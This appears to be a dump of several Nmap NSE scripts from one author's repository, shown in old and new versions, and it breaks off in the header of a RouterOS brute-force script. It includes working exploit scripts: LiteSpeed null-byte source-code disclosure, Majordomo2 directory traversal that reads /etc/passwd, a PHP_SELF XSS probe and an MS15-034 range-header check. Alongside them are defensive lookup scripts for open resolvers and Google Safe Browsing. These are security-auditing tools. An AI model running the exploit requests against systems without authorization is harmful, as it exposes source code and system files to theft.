stdnse.format_output(true, results) 86 | end 87 | -------------------------------------------------------------------------------- /old-scripts/http-litespeed-sourcecode-download.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | http-litespeed-sourcecode-download.nse exploits a null-byte poisoning vulnerability in Litespeed Web Servers 4.0.x before 4.0.15 to retrieve the target script's source code by sending a HTTP request with a null byte followed by a .txt file extension (CVE-2010-2333). 3 | 4 | If the server is not vulnerable it returns an error 400. If index.php is not found, you may try /phpinfo.php which is also shipped with LiteSpeed Web Server. The attack payload looks like this: 5 | * /index.php\00.txt 6 | 7 | References: 8 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2333 9 | * http://www.exploit-db.com/exploits/13850/ 10 | ]] 11 | 12 | --- 13 | -- @usage 14 | -- nmap -p80 --script http-litespeed-sourcecode-download --script-args http-litespeed-sourcecode-download.uri=/phpinfo.php 15 | -- nmap -p8088 --script http-litespeed-sourcecode-download 16 | -- 17 | -- @output 18 | -- PORT STATE SERVICE REASON 19 | -- 8088/tcp open radan-http syn-ack 20 | -- | http-litespeed-sourcecode-download.nse: /phpinfo.php source code: 21 | -- | 22 | -- | 23 | -- | 24 | -- | 25 | -- |_ 26 | -- 27 | -- @args http-litespeed-sourcecode-download.uri URI path to remote file 28 | --- 29 | 30 | author = "Paulino Calderon" 31 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 32 | categories = {"vuln", "intrusive", "exploit"} 33 | 34 | require "http" 35 | require "shortport" 36 | 37 | portrule = shortport.http 38 | 39 | action = function(host, port) 40 | local output = {} 41 | local rfile = stdnse.get_script_args("http-litespeed-sourcecode-download.uri") or "/index.php" 42 | 43 | stdnse.print_debug(1, "%s: Trying to download the source code of %s", SCRIPT_NAME, rfile) 44 | --we append a null byte followed by ".txt" to retrieve the source code 45 | local req = http.get(host, port, rfile.."\00.txt") 46 | 47 | --If we don't get status 200, the server is not vulnerable 48 | if req.status then 49 | if req.status ~= 200 then 50 | if req.status == 400 and nmap.verbosity() >= 2 then 51 | output[#output+1] = "Request with null byte did not work. This web server might not be vulnerable" 52 | elseif req.status == 404 and nmap.verbosity() >= 2 then 53 | output[#output+1] = string.format("Page: %s was not found. Try with an existing file.", rfile) 54 | end 55 | stdnse.print_debug(2, "%s:Request status:%s body:%s", SCRIPT_NAME, req.status, req.body) 56 | else 57 | output[#output+1] = "\nLitespeed Web Server Source Code Disclosure (CVE-2010-2333)" 58 | output[#output+1] = string.format("%s source code:", rfile) 59 | output[#output+1] = req.body 60 | end 61 | end 62 | 63 | if #output>0 then 64 | return stdnse.strjoin("\n", output) 65 | end 66 | end 67 | -------------------------------------------------------------------------------- /scripts/http-litespeed-sourcecode-download.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | 7 | description = [[ 8 | Exploits a null-byte poisoning vulnerability in Litespeed Web Servers 4.0.x before 4.0.15 to retrieve the target script's source code by sending a HTTP request with a null byte followed by a .txt file extension (CVE-2010-2333). 9 | 10 | If the server is not vulnerable it returns an error 400. If index.php is not found, you may try /phpinfo.php which is also shipped with LiteSpeed Web Server. The attack payload looks like this: 11 | * /index.php\00.txt 12 | 13 | References: 14 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2333 15 | * http://www.exploit-db.com/exploits/13850/ 16 | ]] 17 | 18 | --- 19 | -- @usage 20 | -- nmap -p80 --script http-litespeed-sourcecode-download --script-args http-litespeed-sourcecode-download.uri=/phpinfo.php 21 | -- nmap -p8088 --script http-litespeed-sourcecode-download 22 | -- 23 | -- @output 24 | -- PORT STATE SERVICE REASON 25 | -- 8088/tcp open radan-http syn-ack 26 | -- | http-litespeed-sourcecode-download.nse: /phpinfo.php source code: 27 | -- | 28 | -- | 29 | -- | 30 | -- | 31 | -- |_ 32 | -- 33 | -- @args http-litespeed-sourcecode-download.uri URI path to remote file 34 | --- 35 | 36 | author = "Paulino Calderon" 37 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 38 | categories = {"vuln", "intrusive", "exploit"} 39 | 40 | 41 | portrule = shortport.http 42 | 43 | action = function(host, port) 44 | local output = {} 45 | local rfile = stdnse.get_script_args("http-litespeed-sourcecode-download.uri") or "/index.php" 46 | 47 | stdnse.print_debug(1, "%s: Trying to download the source code of %s", SCRIPT_NAME, rfile) 48 | --we append a null byte followed by ".txt" to retrieve the source code 49 | local req = http.get(host, port, rfile.."\00.txt") 50 | 51 | --If we don't get status 200, the server is not vulnerable 52 | if req.status then 53 | if req.status ~= 200 then 54 | if req.status == 400 and nmap.verbosity() >= 2 then 55 | output[#output+1] = "Request with null byte did not work. This web server might not be vulnerable" 56 | elseif req.status == 404 and nmap.verbosity() >= 2 then 57 | output[#output+1] = string.format("Page: %s was not found. Try with an existing file.", rfile) 58 | end 59 | stdnse.print_debug(2, "%s:Request status:%s body:%s", SCRIPT_NAME, req.status, req.body) 60 | else 61 | output[#output+1] = "\nLitespeed Web Server Source Code Disclosure (CVE-2010-2333)" 62 | output[#output+1] = string.format("%s source code:", rfile) 63 | output[#output+1] = req.body 64 | end 65 | end 66 | 67 | if #output>0 then 68 | return stdnse.strjoin("\n", output) 69 | end 70 | end 71 | -------------------------------------------------------------------------------- /old-scripts/http-phpselfxss-scan.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Crawls a web server looking for PHP files vulnerable to PHP_SELF cross site scripting vulnerabilities. 3 | 4 | This script crawls the webserver to create a list of PHP files and then sends an attack vector/probe to all of them to identify PHP_SELF cross site scripting vulnerabilities. 5 | PHP_SELF XSS refers to cross site scripting vulnerabilities caused by the lack of sanitation of the variable $_SERVER["PHP_SELF"] in PHP scripts. This variable is 6 | commonly used in php scripts with forms and a lot of developers out there think it's safe to print it without escaping it first. 7 | 8 | Examples of Cross Site Scripting vulnerabilities in the variable $_SERVER[PHP_SELF]: 9 | *http://www.securityfocus.com/bid/37351 10 | *http://software-security.sans.org/blog/2011/05/02/spot-vuln-percentage 11 | 12 | The attack vector/probe used is: /'"/> 13 | You may test this script against http://calder0n.com/sillyapp/ 14 | ]] 15 | 16 | --- 17 | -- @usage 18 | -- nmap -p80 --script http-phpself-xss --script-args 'http-phpself-xss.path=/sillyapp/' 19 | -- It's important you don't forget the last / if you're setting a path 20 | -- 21 | -- @output 22 | -- PORT STATE SERVICE REASON 23 | -- 80/tcp open http syn-ack 24 | -- | http-phpself-xss: Possible PHPSELF XSS: http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 25 | -- |_Possible PHPSELF XSS: http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E 26 | --- 27 | 28 | author = "Paulino Calderon" 29 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 30 | categories = {"vuln", "intrusive"} 31 | 32 | require "http" 33 | require "shortport" 34 | require "stdnse" 35 | require "httpspider" 36 | 37 | portrule = shortport.http 38 | 39 | local DEFAULT_PATH = "/" 40 | 41 | local OPT_PATH = stdnse.get_script_args(SCRIPT_NAME..".basepath") or DEFAULT_PATH 42 | 43 | -- PHP_SELF Attack vector 44 | local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E' 45 | 46 | --Launches probe request 47 | --@param host Hostname 48 | --@param port Port number 49 | --@param uri URL String 50 | --@return True if page is vulnerable/attack vector was found in body 51 | local function launch_probe(host, port, uri) 52 | local probe_response 53 | 54 | stdnse.print_debug(1, "HTTP GET %s%s", uri, PHP_SELF_PROBE) 55 | probe_response = http.get(host, port, uri .. PHP_SELF_PROBE) 56 | if http.response_contains(probe_response, "", false) then 57 | stdnse.print_debug(2, "%s: Vulnerable URI", SCRIPT_NAME, uri) 58 | return true 59 | end 60 | return false 61 | end 62 | 63 | --MAIN 64 | action = function(host, port) 65 | local output = {"Vulnerable files:"} 66 | httpspider.crawl(host, port, OPT_PATH) 67 | local uris = httpspider.get_sitemap() 68 | 69 | for _, uri in pairs(uris) do 70 | local extension = httpspider.get_uri_extension(uri) 71 | if extension == ".php" then 72 | stdnse.print_debug(2, "%s: PHP file found -> %s", SCRIPT_NAME, uri) 73 | if launch_probe(host, port, uri) then 74 | output[ #output + 1 ] = string.format("%s", uri) 75 | end 76 | end 77 | end 78 | 79 | return #output > 1 and stdnse.strjoin("\n", output) or nil 80 | 81 | end 82 | -------------------------------------------------------------------------------- /scripts/dns-openresolvers-check.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | dns-openresolvers-check looks up the database "dnsbl.openresolvers.org" to detect DNS servers known to allow open recursion. If the DNS server is found, it will be marked as vulnerable as it can be abused via DNS amplification attacks. 3 | 4 | This script queries a database provided by http://dns.measurement-factory.com. 5 | 6 | Daily reports of open resolvers found: 7 | * http://dns.measurement-factory.com/surveys/openresolvers/ASN-reports/ 8 | 9 | DNS aplification attacks: 10 | * http://isotf.org/news/DNS-Amplification-Attacks.pdf 11 | ]] 12 | 13 | --- 14 | -- @usage nmap -sV --script dns-openresolvers-check 15 | -- @usage nmap -sV -p53 --script dns-openresolvers-check 16 | -- 17 | -- @output 18 | -- | dns-openresolvers-check: 19 | -- | VULNERABLE: 20 | -- | This DNS server has been blacklisted as an open resolver. 21 | -- | State: VULNERABLE 22 | -- | Risk factor: High 23 | -- | Description: 24 | -- | This DNS server is known for supporting open recursion. Open resolvers are dangerous 25 | -- | because of the following reasons: 26 | -- | * Attackers may consume resources of third parties. They are actively being exploited in DDoS attacks. 27 | -- | * Attackers may poison the cache of an open resolver. 28 | -- | 29 | -- | References: 30 | -- | http://isotf.org/news/DNS-Amplification-Attacks.pdf 31 | -- |_ http://dns.measurement-factory.com/surveys/openresolvers.html 32 | --- 33 | 34 | author = "Paulino Calderon " 35 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 36 | categories = {"discovery", "safe", "external"} 37 | 38 | local dns = require "dns" 39 | local stdnse = require "stdnse" 40 | local shortport = require "shortport" 41 | local vulns = require "vulns" 42 | 43 | --portrule = shortport.portnumber(53, {"tcp","udp"}) 44 | 45 | --Maybe we dont need the service running, 46 | -- we are looking at a database afterall 47 | hostrule = function(host) return true end 48 | 49 | local DNSBL = "dnsbl.openresolvers.org" 50 | 51 | action = function(host, port) 52 | local server = host.ip 53 | local dnsbl_qry = server.."."..DNSBL 54 | local qry_status, qry_res = nil 55 | local vuln_table = { 56 | title = "This DNS server has been blacklisted as an open resolver.", 57 | state = vulns.STATE.NOT_VULN, 58 | risk_factor = "High", 59 | description = [[ 60 | This DNS server is known for supporting open recursion. Open resolvers are dangerous 61 | because of the following reasons: 62 | * Attackers may consume resources of third parties. They are actively being exploited in DDoS attacks. 63 | * Attackers may poison the cache of an open resolver. 64 | ]], 65 | 66 | references = { 67 | 'http://isotf.org/news/DNS-Amplification-Attacks.pdf', 68 | 'http://dns.measurement-factory.com/surveys/openresolvers.html', 69 | } 70 | } 71 | 72 | stdnse.print_debug(1, "%s:Querying %s", SCRIPT_NAME, dnsbl_qry) 73 | qry_status, qry_res = dns.query(dnsbl_qry) 74 | stdnse.print_debug(1, "%s:DNS query returned:%s", SCRIPT_NAME, qry_res) 75 | 76 | if qry_res == "127.0.0.2" then 77 | stdnse.print_debug(1, "%s:DNS server is open for recursion", SCRIPT_NAME) 78 | vuln_table.state = vulns.STATE.VULN 79 | local report = vulns.Report:new(SCRIPT_NAME, host, port) 80 | return report:make_output(vuln_table) 81 | end 82 | 83 | return nil 84 | end 85 | -------------------------------------------------------------------------------- /old-scripts/http-majordomo2-dir-traversal.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Exploits a directory traversal vulnerability existing in Majordomo2 to retrieve remote files. (CVE-2011-0049). 3 | 4 | Vulnerability originally discovered by Michael Brooks. 5 | 6 | For more information about this vulnerability: 7 | * http://www.mj2.org/ 8 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0049 9 | * http://www.exploit-db.com/exploits/16103/ 10 | ]] 11 | 12 | --- 13 | -- @usage 14 | -- nmap -p80 --script http-majordomo2-dir-traversal 15 | -- 16 | -- @output 17 | -- PORT STATE SERVICE 18 | -- 80/tcp open http syn-ack 19 | -- | http-majordomo2-dir-traversal: /etc/passwd was found: 20 | -- | 21 | -- | root:x:0:0:root:/root:/bin/bash 22 | -- | bin:x:1:1:bin:/bin:/sbin/nologin 23 | -- | 24 | -- 25 | -- @args http-majordomo2-dir-traversal.rfile Remote file to download. Default: /etc/passwd 26 | -- @args http-majordomo2-dir-traversal.uri URI Path to mj_wwwusr. Default: /cgi-bin/mj_wwwusr 27 | -- @args http-majordomo2-dir-traversal.outfile If set it saves the remote file to this location. 28 | -- 29 | -- Other arguments you might want to use with this script: 30 | -- * http.useragent - Sets user agent 31 | -- 32 | 33 | author = "Paulino Calderon" 34 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 35 | categories = {"intrusive", "vuln", "exploit"} 36 | 37 | require "http" 38 | require "shortport" 39 | 40 | portrule = shortport.http 41 | 42 | local MAJORDOMO2_EXPLOIT_QRY = "?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../.." 43 | local MAJORDOMO2_EXPLOIT_URI = "/cgi-bin/mj_wwwusr" 44 | local DEFAULT_REMOTE_FILE = "/etc/passwd" 45 | 46 | --- 47 | --Writes string to file 48 | --Taken from: hostmap.nse 49 | local function write_file(filename, contents) 50 | local f, err = io.open(filename, "w") 51 | if not f then 52 | return f, err 53 | end 54 | f:write(contents) 55 | f:close() 56 | return true 57 | end 58 | 59 | --- 60 | -- MAIN 61 | --- 62 | action = function(host, port) 63 | local response, rfile, rpath, uri, evil_uri, rfile_content, filewrite 64 | local output_lines = {} 65 | 66 | filewrite = stdnse.get_script_args("http-majordomo2-dir-traversal.outfile") 67 | uri = stdnse.get_script_args("http-majordomo2-dir-traversal.uri") or MAJORDOMO2_EXPLOIT_URI 68 | rfile = stdnse.get_script_args("http-majordomo2-dir-traversal.rfile") or DEFAULT_REMOTE_FILE 69 | evil_uri = uri..MAJORDOMO2_EXPLOIT_QRY..rfile 70 | 71 | stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(host), evil_uri) 72 | response = http.get(host, port, evil_uri) 73 | if response.body and response.status==200 then 74 | if response.body:match("unknowntopic") then 75 | stdnse.print_debug(1, "%s:[Error] The server is not vulnerable, '%s' was not found or the web server has insufficient permissions to read it", SCRIPT_NAME, rfile) 76 | return 77 | end 78 | _, _, rfile_content = string.find(response.body, '
(.*)')
79 |     output_lines[#output_lines+1] = rfile.." was found:\n"..rfile_content
80 |     if filewrite then
81 |       local status, err = write_file(filewrite,  rfile_content)
82 |       if status then
83 |         output_lines[#output_lines+1] = string.format("%s saved to %s\n", rfile, filewrite)
84 |       else
85 |         output_lines[#output_lines+1] = string.format("Error saving %s to %s: %s\n", rfile, filewrite, err)
86 |       end
87 |     end
88 |     return stdnse.strjoin("\n", output_lines)
89 |   end
90 | end
91 | 


--------------------------------------------------------------------------------
/old-scripts/http-google-malware.nse:
--------------------------------------------------------------------------------
 1 | description = [[
 2 | http-google-malware checks if hosts are on Google's blacklist of suspected malware and phishing servers. These lists are constantly updated and are part of Google's Safe Browsing service.
 3 | 
 4 | To do this the script queries the Google's Safe Browsing service and you need to have your own API key to access Google's Safe Browsing Lookup services. Sign up for yours at http://code.google.com/apis/safebrowsing/key_signup.html
 5 | 
 6 | * To learn more about Google's Safe Browsing:
 7 | http://code.google.com/apis/safebrowsing/
 8 | 
 9 | * To register and get your personal API key: 
10 | http://code.google.com/apis/safebrowsing/key_signup.html
11 | ]]
12 | 
13 | ---
14 | -- @usage
15 | -- nmap -p80 --script http-google-malware 
16 | --
17 | -- @output
18 | -- PORT   STATE SERVICE
19 | -- 80/tcp open  http
20 | -- |_http-google-malware.nse: Host is known for distributing malware.
21 | --
22 | -- @args http-google-malware.url URL to check. Default: http/https://host 
23 | -- @args http-google-malware.api API key for Google's Safe Browsing Lookup service
24 | ---
25 | 
26 | author = "Paulino Calderon"
27 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
28 | categories = {"malware", "discovery", "safe", "external"}
29 | 
30 | require "http"
31 | require "shortport"
32 | 
33 | portrule = shortport.http
34 | 
35 | ---#########################
36 | --ENTER YOUR API KEY HERE  #
37 | ---#########################
38 | local APIKEY = ""
39 | ---#########################
40 | 
41 | --Builds Google Safe Browsing query
42 | --@param apikey Api key 
43 | --@return Url 
44 | local function build_qry(apikey, url)
45 |   return string.format("https://sb-ssl.google.com/safebrowsing/api/lookup?client=%s&apikey=%s&appver=1.5.2&pver=3.0&url=%s", SCRIPT_NAME, apikey, url)
46 | end
47 | 
48 | ---
49 | --MAIN
50 | ---
51 | action = function(host, port)
52 |   local apikey = stdnse.get_script_args("http-google-malware.api") or APIKEY
53 |   local malware_found = false
54 |   local target
55 |   local output_lns = {}
56 | 
57 |   --Use the host IP if a hostname isn't available
58 |   if not(host.targetname) then
59 |     target = host.ip
60 |   else
61 |     target = host.targetname
62 |   end
63 | 
64 |   local target_url = stdnse.get_script_args("http-google-malware.url") or string.format("%s://%s", port.service, target) 
65 | 
66 |   if string.len(apikey) < 25 then
67 |     return string.format("[ERROR] No API key found. Update the variable APIKEY in %s or set it in the argument %s.api",
68 |                          SCRIPT_NAME, SCRIPT_NAME) 
69 |   end
70 |  
71 |   stdnse.print_debug(1, "%s: Checking host %s", SCRIPT_NAME, target_url) 
72 |   local qry = build_qry(apikey, target_url)
73 |   local req = http.get_url(qry)
74 |   stdnse.print_debug(2, "%s", qry)
75 | 
76 |   --The Safe Lookup API responds with a type when site is on the lists 
77 |   if req.body then
78 |     if http.response_contains(req, "malware") then
79 |       output_lns[#output_lns+1] = "Host is known for distributing malware."
80 |       malware_found = true
81 |     end
82 |     if http.response_contains(req, "phishing") then
83 |       output_lns[#output_lns+1] = "Host is known for being used in phishing attacks."
84 |       malware_found = true
85 |     end
86 |   end
87 |   --For the verbose lovers
88 |   if nmap.verbosity() >= 2 and not(malware_found) then
89 |     output_lns[#output_lns+1] = "Host is safe to browse."
90 |   end
91 | 
92 |   if #output_lns > 0 then
93 |     return stdnse.strjoin("\n", output_lns)
94 |   end
95 | end
96 | 


--------------------------------------------------------------------------------
/scripts/http-majordomo2-dir-traversal.nse:
--------------------------------------------------------------------------------
 1 | local http = require "http"
 2 | local io = require "io"
 3 | local shortport = require "shortport"
 4 | local stdnse = require "stdnse"
 5 | local string = require "string"
 6 | 
 7 | description = [[
 8 | Exploits a directory traversal vulnerability existing in Majordomo2 to retrieve remote files. (CVE-2011-0049). 
 9 | 
10 | Vulnerability originally discovered by Michael Brooks.
11 | 
12 | For more information about this vulnerability:
13 | * http://www.mj2.org/
14 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0049
15 | * http://www.exploit-db.com/exploits/16103/
16 | ]]
17 | 
18 | ---
19 | -- @usage
20 | -- nmap -p80 --script http-majordomo2-dir-traversal 
21 | --
22 | -- @output
23 | -- PORT   STATE SERVICE 
24 | -- 80/tcp open  http    syn-ack
25 | -- | http-majordomo2-dir-traversal: /etc/passwd was found:
26 | -- | 
27 | -- | root:x:0:0:root:/root:/bin/bash
28 | -- | bin:x:1:1:bin:/bin:/sbin/nologin
29 | -- |  
30 | --
31 | -- @args http-majordomo2-dir-traversal.rfile Remote file to download. Default: /etc/passwd
32 | -- @args http-majordomo2-dir-traversal.uri URI Path to mj_wwwusr. Default: /cgi-bin/mj_wwwusr
33 | -- @args http-majordomo2-dir-traversal.outfile If set it saves the remote file to this location.
34 | --
35 | -- Other arguments you might want to use with this script:
36 | -- * http.useragent - Sets user agent
37 | -- 
38 | 
39 | author = "Paulino Calderon"
40 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
41 | categories = {"intrusive", "vuln", "exploit"}
42 | 
43 | 
44 | portrule = shortport.http
45 | 
46 | local MAJORDOMO2_EXPLOIT_QRY = "?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../.."
47 | local MAJORDOMO2_EXPLOIT_URI = "/cgi-bin/mj_wwwusr"
48 | local DEFAULT_REMOTE_FILE = "/etc/passwd"
49 | 
50 | ---
51 | --Writes string to file
52 | --Taken from: hostmap.nse
53 | local function write_file(filename, contents)
54 |   local f, err = io.open(filename, "w")
55 |   if not f then
56 |     return f, err
57 |   end
58 |   f:write(contents)
59 |   f:close()
60 |   return true
61 | end
62 | 
63 | ---
64 | -- MAIN
65 | ---
66 | action = function(host, port)
67 |   local response, rfile, rpath, uri, evil_uri, rfile_content, filewrite
68 |   local output_lines = {}
69 | 
70 |   filewrite = stdnse.get_script_args("http-majordomo2-dir-traversal.outfile")
71 |   uri = stdnse.get_script_args("http-majordomo2-dir-traversal.uri") or MAJORDOMO2_EXPLOIT_URI
72 |   rfile = stdnse.get_script_args("http-majordomo2-dir-traversal.rfile") or DEFAULT_REMOTE_FILE
73 |   evil_uri = uri..MAJORDOMO2_EXPLOIT_QRY..rfile
74 | 
75 |   stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(host), evil_uri)
76 |   response = http.get(host, port, evil_uri)
77 |   if response.body and response.status==200 then
78 |     if response.body:match("unknowntopic") then
79 |       stdnse.print_debug(1, "%s:[Error] The server is not vulnerable, '%s' was not found or the web server has insufficient permissions to read it", SCRIPT_NAME, rfile)
80 |       return
81 |     end
82 |     local _
83 |     _, _, rfile_content = string.find(response.body, '
(.*)')
84 |     output_lines[#output_lines+1] = rfile.." was found:\n"..rfile_content
85 |     if filewrite then
86 |       local status, err = write_file(filewrite,  rfile_content)
87 |       if status then
88 |         output_lines[#output_lines+1] = string.format("%s saved to %s\n", rfile, filewrite)
89 |       else
90 |         output_lines[#output_lines+1] = string.format("Error saving %s to %s: %s\n", rfile, filewrite, err)
91 |       end
92 |     end
93 |     return stdnse.strjoin("\n", output_lines)
94 |   end
95 | end
96 | 


--------------------------------------------------------------------------------
/scripts/http-google-malware.nse:
--------------------------------------------------------------------------------
  1 | local http = require "http"
  2 | local nmap = require "nmap"
  3 | local shortport = require "shortport"
  4 | local stdnse = require "stdnse"
  5 | local string = require "string"
  6 | 
  7 | description = [[
  8 | Checks if hosts are on Google's blacklist of suspected malware and phishing servers. These lists are constantly updated and are part of Google's Safe Browsing service.
  9 | 
 10 | To do this the script queries the Google's Safe Browsing service and you need to have your own API key to access Google's Safe Browsing Lookup services. Sign up for yours at http://code.google.com/apis/safebrowsing/key_signup.html
 11 | 
 12 | * To learn more about Google's Safe Browsing:
 13 | http://code.google.com/apis/safebrowsing/
 14 | 
 15 | * To register and get your personal API key: 
 16 | http://code.google.com/apis/safebrowsing/key_signup.html
 17 | ]]
 18 | 
 19 | ---
 20 | -- @usage
 21 | -- nmap -p80 --script http-google-malware 
 22 | --
 23 | -- @output
 24 | -- PORT   STATE SERVICE
 25 | -- 80/tcp open  http
 26 | -- |_http-google-malware.nse: Host is known for distributing malware.
 27 | --
 28 | -- @args http-google-malware.url URL to check. Default: http/https://host 
 29 | -- @args http-google-malware.api API key for Google's Safe Browsing Lookup service
 30 | ---
 31 | 
 32 | author = "Paulino Calderon"
 33 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 34 | categories = {"malware", "discovery", "safe", "external"}
 35 | 
 36 | 
 37 | portrule = shortport.http
 38 | 
 39 | ---#########################
 40 | --ENTER YOUR API KEY HERE  #
 41 | ---#########################
 42 | local APIKEY = ""
 43 | ---#########################
 44 | 
 45 | --Builds Google Safe Browsing query
 46 | --@param apikey Api key 
 47 | --@return Url 
 48 | local function build_qry(apikey, url)
 49 |   return string.format("https://sb-ssl.google.com/safebrowsing/api/lookup?client=%s&apikey=%s&appver=1.5.2&pver=3.0&url=%s", SCRIPT_NAME, apikey, url)
 50 | end
 51 | 
 52 | ---
 53 | --MAIN
 54 | ---
 55 | action = function(host, port)
 56 |   local apikey = stdnse.get_script_args("http-google-malware.api") or APIKEY
 57 |   local malware_found = false
 58 |   local target
 59 |   local output_lns = {}
 60 | 
 61 |   --Use the host IP if a hostname isn't available
 62 |   if not(host.targetname) then
 63 |     target = host.ip
 64 |   else
 65 |     target = host.targetname
 66 |   end
 67 | 
 68 |   local target_url = stdnse.get_script_args("http-google-malware.url") or string.format("%s://%s", port.service, target) 
 69 | 
 70 |   if string.len(apikey) < 25 then
 71 |     return string.format("[ERROR] No API key found. Update the variable APIKEY in %s or set it in the argument %s.api",
 72 |                          SCRIPT_NAME, SCRIPT_NAME) 
 73 |   end
 74 |  
 75 |   stdnse.print_debug(1, "%s: Checking host %s", SCRIPT_NAME, target_url) 
 76 |   local qry = build_qry(apikey, target_url)
 77 |   local req = http.get_url(qry)
 78 |   stdnse.print_debug(2, "%s", qry)
 79 | 
 80 |   --The Safe Lookup API responds with a type when site is on the lists 
 81 |   if req.body then
 82 |     if http.response_contains(req, "malware") then
 83 |       output_lns[#output_lns+1] = "Host is known for distributing malware."
 84 |       malware_found = true
 85 |     end
 86 |     if http.response_contains(req, "phishing") then
 87 |       output_lns[#output_lns+1] = "Host is known for being used in phishing attacks."
 88 |       malware_found = true
 89 |     end
 90 |   end
 91 |   --For the verbose lovers
 92 |   if nmap.verbosity() >= 2 and not(malware_found) then
 93 |     output_lns[#output_lns+1] = "Host is safe to browse."
 94 |   end
 95 | 
 96 |   if #output_lns > 0 then
 97 |     return stdnse.strjoin("\n", output_lns)
 98 |   end
 99 | end
100 | 


--------------------------------------------------------------------------------
/scripts/http-vuln-cve2015-1635.nse:
--------------------------------------------------------------------------------
 1 | local shortport = require "shortport"
 2 | local http = require "http"
 3 | local stdnse = require "stdnse"
 4 | local string = require "string"
 5 | local vulns = require "vulns"
 6 | 
 7 | description = [[
 8 | Checks for a remote code execution vulnerability (MS15-034) in Microsoft Windows systems (CVE2015-2015-1635).
 9 | 
10 | The script sends a specially crafted HTTP request with no impact on the system to detect this vulnerability. 
11 | The affected versions are Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, 
12 | and Windows Server 2012 R2.
13 | 
14 | References:
15 | * https://technet.microsoft.com/library/security/MS15-034
16 | ]]
17 | 
18 | ---
19 | -- @usage nmap -sV --script vuln 
20 | -- @usage nmap -p80 --script http-vuln-cve2015-1635.nse 
21 | -- @usage nmap -sV --script http-vuln-cve2015-1635 --script-args uri='/anotheruri/' 
22 | -- @output
23 | -- PORT   STATE SERVICE REASON
24 | -- 80/tcp open  http    syn-ack
25 | -- | http-vuln-cve2015-1635: 
26 | -- |   VULNERABLE:
27 | -- |   Remote Code Execution in HTTP.sys (MS15-034)
28 | -- |     State: VULNERABLE (Exploitable)
29 | -- |     IDs:  CVE:CVE-2015-1635
30 | -- |       A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is 
31 | -- |       caused when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who 
32 | -- |       successfully exploited this vulnerability could execute arbitrary code in the context of the System account.
33 | -- |           
34 | -- |     Disclosure date: 2015-04-14
35 | -- |     References:
36 | -- |       https://technet.microsoft.com/en-us/library/security/ms15-034.aspx
37 | -- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635
38 | -- @args http-vuln-cve2015-1635.uri URI to use in request. Default: /
39 | ---
40 | 
41 | author = {"Kl0nEz", "Paulino "}
42 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
43 | categories = {"vuln", "safe"}
44 | 
45 | portrule = shortport.http
46 | 
47 | local VULNERABLE = "Requested Range Not Satisfiable"
48 | local PATCHED = "The request has an invalid header name"
49 | 
50 | action = function(host, port)
51 |   local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
52 |   local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
53 |   local vuln = {
54 |     title = 'Remote Code Execution in HTTP.sys (MS15-034)',
55 |     state = vulns.STATE.NOT_VULN, 
56 |     description = [[
57 | A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is 
58 | caused when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who 
59 | successfully exploited this vulnerability could execute arbitrary code in the context of the System account.
60 |     ]],
61 |     IDS = {CVE = 'CVE-2015-1635'},
62 |     references = {
63 |       'https://technet.microsoft.com/en-us/library/security/ms15-034.aspx'
64 |     },
65 |     dates = {
66 |       disclosure = {year = '2015', month = '04', day = '14'},
67 |     }
68 |   }
69 |   local options = {header={}}
70 |   options['header']['Host'] = stdnse.generate_random_string(8)
71 |   options['header']['Range'] = "bytes=0-18446744073709551615"
72 | 
73 |   local response = http.get(host, port, uri, options)
74 |   if response.status and response.body then
75 |     if response.status == 416 and string.find(response.body, VULNERABLE) ~= nil
76 |     and string.find(response.header["server"], "Microsoft") ~= nil then
77 |       vuln.state = vulns.STATE.VULN
78 |     end
79 |     if response.body and string.find(response.body, PATCHED) ~= nil then
80 |       stdnse.debug2("System is patched!")
81 |       vuln.state = vulns.STATE.NOT_VULN
82 |     end
83 |   end
84 |   return vuln_report:make_output(vuln)
85 | end
86 | 


--------------------------------------------------------------------------------
/scripts/mikrotik-routeros-brute.nse:
--------------------------------------------------------------------------------
  1 | description = [[
  2 | Performs brute force password auditing against Mikrotik RouterOS devices with the API RouterOS interface enabled.
  3 | 
  4 | Additional information:
  5 | * http://wiki.mikrotik.com/wiki/API
  6 | * http://wiki.mikrotik.com/wiki/API_in_C
  7 | * https://github.com/mkbrutusproject/MKBRUTUS
  8 | ]]
  9 | 
 10 | ---
 11 | -- @usage
 12 | -- nmap -p8728 --script mikrotik-routeros-brute 
 13 | -- 
 14 | -- @output
 15 | --
 16 | -- @args mikrotik-routerous-brute.threads sets the number of threads. Default: 3
 17 | --
 18 | ---
